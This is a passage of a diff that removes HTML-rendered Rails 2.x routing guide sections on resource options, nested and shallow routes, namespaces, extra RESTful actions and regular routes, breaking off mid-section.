-<td class="content">You can also use <tt>:name_prefix</tt> with non-RESTful routes.</td>
-</tr></table>
-</div>
-<h4 id="_using_only_and_except">3.7.8. Using :only and :except</h4>
-<div class="paragraph"><p>By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the <tt>:only</tt> and <tt>:except</tt> options to fine-tune this behavior. The <tt>:only</tt> option specifies that only certain routes should be generated:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>index<span style="color: #990000">,</span> <span style="color: #990000">:</span>show<span style="color: #990000">]</span></tt></pre></div></div>
-<div class="paragraph"><p>With this declaration, a <tt>GET</tt> request to <tt>/photos</tt> would succeed, but a <tt>POST</tt> request to <tt>/photos</tt> (which would ordinarily be routed to the create action) will fail.</p></div>
-<div class="paragraph"><p>The <tt>:except</tt> option specifies a route or list of routes that should <em>not</em> be generated:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>except <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>destroy</tt></pre></div></div>
-<div class="paragraph"><p>In this case, all of the normal routes except the route for <tt>destroy</tt> (a <tt>DELETE</tt> request to <tt>/photos/<em>id</em></tt>) will be generated.</p></div>
-<div class="paragraph"><p>In addition to an action or a list of actions, you can also supply the special symbols <tt>:all</tt> or <tt>:none</tt> to the <tt>:only</tt> and <tt>:except</tt> options.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If your application has many RESTful routes, using <tt>:only</tt> and <tt>:except</tt> to generate only the routes that you actually need can cut down on memory use and speed up the routing process.</td>
-</tr></table>
-</div>
-<h3 id="_nested_resources">3.8. Nested Resources</h3>
-<div class="paragraph"><p>It&#8217;s common to have resources that are logically children of other resources. For example, suppose your application includes these models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Magazine <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>ads
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Ad <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>magazine
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
- magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<thead valign="top">
-<tr>
-<th align="left">HTTP verb </th>
-<th align="left">URL </th>
-<th align="left">controller </th>
-<th align="left">action </th>
-<th align="left">used for</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/magazines/1/ads</p></td>
-<td align="left"><p class="table">Ads</p></td>
-<td align="left"><p class="table">index</p></td>
-<td align="left"><p class="table">display a list of all ads for a specific magazine</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/magazines/1/ads/new</p></td>
-<td align="left"><p class="table">Ads</p></td>
-<td align="left"><p class="table">new</p></td>
-<td align="left"><p class="table">return an HTML form for creating a new ad belonging to a specific magazine</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">POST</p></td>
-<td align="left"><p class="table">/magazines/1/ads</p></td>
-<td align="left"><p class="table">Ads</p></td>
-<td align="left"><p class="table">create</p></td>
-<td align="left"><p class="table">create a new ad belonging to a specific magazine</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/magazines/1/ads/1</p></td>
-<td align="left"><p class="table">Ads</p></td>
-<td align="left"><p class="table">show</p></td>
-<td align="left"><p class="table">display a specific ad belonging to a specific magazine</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/magazines/1/ads/1/edit</p></td>
-<td align="left"><p class="table">Ads</p></td>
-<td align="left"><p class="table">edit</p></td>
-<td align="left"><p class="table">return an HTML form for editing an ad belonging to a specific magazine</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">PUT</p></td>
-<td align="left"><p class="table">/magazines/1/ads/1</p></td>
-<td align="left"><p class="table">Ads</p></td>
-<td align="left"><p class="table">update</p></td>
-<td align="left"><p class="table">update a specific ad belonging to a specific magazine</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">DELETE</p></td>
-<td align="left"><p class="table">/magazines/1/ads/1</p></td>
-<td align="left"><p class="table">Ads</p></td>
-<td align="left"><p class="table">destroy</p></td>
-<td align="left"><p class="table">delete a specific ad belonging to a specific magazine</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<div class="paragraph"><p>This will also create routing helpers such as <tt>magazine_ads_url</tt> and <tt>edit_magazine_ad_path</tt>.</p></div>
-<h4 id="_using_name_prefix_2">3.8.1. Using :name_prefix</h4>
-<div class="paragraph"><p>The <tt>:name_prefix</tt> option overrides the automatically-generated prefix in nested route helpers. For example,</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
- magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'periodical'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will create routing helpers such as <tt>periodical_ads_url</tt> and <tt>periodical_edit_ad_path</tt>. You can even use <tt>:name_prefix</tt> to suppress the prefix entirely:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
- magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will create routing helpers such as <tt>ads_url</tt> and <tt>edit_ad_path</tt>. Note that calling these will still require supplying an article id:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ads_url<span style="color: #990000">(</span><span style="color: #009900">@magazine</span><span style="color: #990000">)</span>
-edit_ad_path<span style="color: #990000">(</span><span style="color: #009900">@magazine</span><span style="color: #990000">,</span> <span style="color: #009900">@ad</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h4 id="_using_has_one_and_has_many">3.8.2. Using :has_one and :has_many</h4>
-<div class="paragraph"><p>The <tt>:has_one</tt> and <tt>:has_many</tt> options provide a succinct notation for simple nested routes. Use <tt>:has_one</tt> to nest a singleton resource, or <tt>:has_many</tt> to nest a plural resource:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_one <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photographer<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>publications<span style="color: #990000">,</span> <span style="color: #990000">:</span>versions<span style="color: #990000">]</span></tt></pre></div></div>
-<div class="paragraph"><p>This has the same effect as this set of declarations:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>photo<span style="color: #990000">|</span>
- photo<span style="color: #990000">.</span>resource <span style="color: #990000">:</span>photographer
- photo<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publications
- photo<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>versions
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h4 id="_limits_to_nesting">3.8.3. Limits to Nesting</h4>
-<div class="paragraph"><p>You can nest resources within other nested resources if you like. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>publisher<span style="color: #990000">|</span>
- publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
- magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>However, without the use of <tt>name_prefix =&gt; nil</tt>, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/publishers/1/magazines/2/photos/3</tt></pre>
-</div></div>
-<div class="paragraph"><p>The corresponding route helper would be <tt>publisher_magazine_photo_url</tt>, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular <a href="http://weblog.jamisbuck.org/2007/2/5/nesting-resources">article</a> by Jamis Buck proposes a rule of thumb for good Rails design:</p></div>
-<div class="paragraph"><p><em>Resources should never be nested more than 1 level deep.</em></p></div>
-<h4 id="_shallow_nesting">3.8.4. Shallow Nesting</h4>
-<div class="paragraph"><p>The <tt>:shallow</tt> option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an <tt>:id</tt> parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>publisher<span style="color: #990000">|</span>
- publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
- magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will enable recognition of (among others) these routes:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/publishers/1 ==&gt; publisher_path(1)
-/publishers/1/magazines ==&gt; publisher_magazines_path(1)
-/magazines/2 ==&gt; magazine_path(2)
-/magazines/2/photos ==&gt; magazines_photos_path(2)
-/photos/3 ==&gt; photo_path(3)</tt></pre>
-</div></div>
-<div class="paragraph"><p>With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the <tt>:has_one</tt> and <tt>:has_many</tt> options:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>magazines <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photos <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span></tt></pre></div></div>
-<h3 id="_route_generation_from_arrays">3.9. Route Generation from Arrays</h3>
-<div class="paragraph"><p>In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
- magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Rails will generate helpers such as magazine_ad_path that you can use in building links:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>Another way to refer to the same route is with an array of objects:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= link_to "Ad details", [@magazine, @ad] %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.</p></div>
-<h3 id="_namespaced_resources">3.10. Namespaced Resources</h3>
-<div class="paragraph"><p>It&#8217;s possible to do some quite complex things by combining <tt>:path_prefix</tt> and <tt>:name_prefix</tt>. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos'</span>
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>tags<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin_photo_'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos/:photo_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photo_tags'</span>
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ratings<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin_photo_'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos/:photo_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photo_ratings'</span></tt></pre></div></div>
-<div class="paragraph"><p>The good news is that if you find yourself using this level of complexity, you can stop. Rails supports <em>namespaced resources</em> to make placing resources in their own folder a snap. Here&#8217;s the namespaced version of those same three routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>namespace<span style="color: #990000">(:</span>admin<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>admin<span style="color: #990000">|</span>
- admin<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span>
- <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>tags<span style="color: #990000">,</span> <span style="color: #990000">:</span>ratings<span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you&#8217;ll get <tt>admin_photos_url</tt> that expects to find an <tt>Admin::PhotosController</tt> and that matches <tt>admin/photos</tt>, and <tt>admin_photos_ratings_path</tt> that matches <tt>/admin/photos/<em>photo_id</em>/ratings</tt>, expecting to use <tt>Admin::RatingsController</tt>. Even though you&#8217;re not specifying <tt>path_prefix</tt> explicitly, the routing code will calculate the appropriate <tt>path_prefix</tt> from the route nesting.</p></div>
-<h3 id="_adding_more_restful_actions">3.11. Adding More RESTful Actions</h3>
-<div class="paragraph"><p>You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).</p></div>
-<h4 id="_adding_member_routes">3.11.1. Adding Member Routes</h4>
-<div class="paragraph"><p>To add a member route, use the <tt>:member</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>member <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>preview <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="paragraph"><p>This will enable Rails to recognize URLs such as <tt>/photos/1/preview</tt> using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a <tt>preview_photo</tt> route helper.</p></div>
-<div class="paragraph"><p>Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use <tt>:get</tt>, <tt>:put</tt>, <tt>:post</tt>, <tt>:delete</tt>, or <tt>:any</tt> here. You can also specify an array of methods, if you need more than one but you don&#8217;t want to allow just anything:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>member <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>prepare <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
-<h4 id="_adding_collection_routes">3.11.2. Adding Collection Routes</h4>
-<div class="paragraph"><p>To add a collection route, use the <tt>:collection</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="paragraph"><p>This will enable Rails to recognize URLs such as <tt>/photos/search</tt> using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a <tt>search_photos</tt> route helper.</p></div>
-<div class="paragraph"><p>Just as with member routes, you can specify an array of methods for a collection route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
-<h4 id="_adding_new_routes">3.11.3. Adding New Routes</h4>
-<div class="paragraph"><p>To add a new route (one that creates a new resource), use the <tt>:new</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>upload <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="paragraph"><p>This will enable Rails to recognize URLs such as <tt>/photos/upload</tt> using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a <tt>upload_photos</tt> route helper.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>any <span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="paragraph"><p>This will allow the new action to be invoked by any request to <tt>photos/new</tt>, no matter what HTTP verb you use.</p></div>
-<h4 id="_a_note_of_caution">3.11.4. A Note of Caution</h4>
-<div class="paragraph"><p>If you find yourself adding many extra actions to a RESTful route, it&#8217;s time to stop and ask yourself whether you&#8217;re disguising the presence of another resource that would be better split off on its own. When the <tt>:member</tt> and <tt>:collection</tt> hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.</p></div>
-</div>
-<h2 id="_regular_routes_2">4. Regular Routes</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don&#8217;t get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.</p></div>
-<div class="paragraph"><p>While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing <em>when possible</em>, because it will make parts of your application easier to write. But there&#8217;s no need to try to shoehorn every last piece of your application into a RESTful framework if that&#8217;s not a good fit.</p></div>
-<h3 id="_bound_parameters">4.1. Bound Parameters</h3>
-<div class="paragraph"><p>When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: <tt>:controller</tt> maps to the name of a controller in your application, and <tt>:action</tt> maps to the name of an action within that controller. For example, consider one of the default Rails routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span></tt></pre></div></div>
-<div class="paragraph"><p>If an incoming request of <tt>/photos/show/1</tt> is processed by this route (because it hasn&#8217;t matched any previous route in the file), then the result will be to invoke the <tt>show</tt> action of the <tt>Photos</tt> controller, and to make the final parameter (1) available as <tt>params[:id]</tt>.</p></div>
-<h3 id="_wildcard_components">4.2. Wildcard Components</h3>
-<div class="paragraph"><p>You can set up as many wildcard symbols within a regular route as you like. Anything other than <tt>:controller</tt> or <tt>:action</tt> will be available to the matching action as part of the params hash. So, if you set up this route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id/:user_id'</span></tt></pre></div></div>
-<div class="paragraph"><p>An incoming URL of <tt>/photos/show/1/2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params[:id]</tt> will be set to 1, and <tt>params[:user_id]</tt> will be set to 2.</p></div>
-<h3 id="_static_text">4.3. Static Text</h3>
-<div class="paragraph"><p>You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id/with_user/:user_id'</span></tt></pre></div></div>
-<div class="paragraph"><p>This route would respond to URLs such as <tt>/photos/show/1/with_user/2</tt>.</p></div>
-<h3 id="_querystring_parameters">4.4. Querystring Parameters</h3>
-<div class="paragraph"><p>Rails routing automatically picks up querystring parameters and makes them available in the <tt>params</tt> hash. For example, with this route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span></tt></pre></div></div>
-<div class="paragraph"><p>An incoming URL of <tt>/photos/show/1?user_id=2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params[:id]</tt> will be set to 1, and <tt>params[:user_id]</tt> will be equal to 2.</p></div>
-<h3 id="_defining_defaults">4.5. Defining Defaults</h3>
-<div class="paragraph"><p>You do not need to explicitly use the <tt>:controller</tt> and <tt>:action</tt> symbols within a route. You can supply defaults for these two parameters in a hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
